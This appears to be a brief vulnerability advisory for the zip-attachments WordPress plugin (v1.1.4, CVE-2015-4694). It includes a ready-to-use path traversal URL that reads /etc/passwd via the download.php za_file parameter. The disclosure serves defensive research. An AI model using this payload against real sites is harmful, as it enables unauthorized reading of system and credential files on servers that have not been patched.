zip-attachments v1.1.4 wordpress plugin arbitrary file download vulnerability

#878 · 2015-06-10

CVE ID(s): CVE-2015-4694

Notified: 2015-06-11

Description:

Simple and lightweight plugin to add a "Download" button to your posts, pages or custom post types.

Exploit:

http://www.example.com/wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd

Download: https://wordpress.org/plugins/zip-attachments/

URL: http://www.vapid.dhs.org/advisory.php?v=126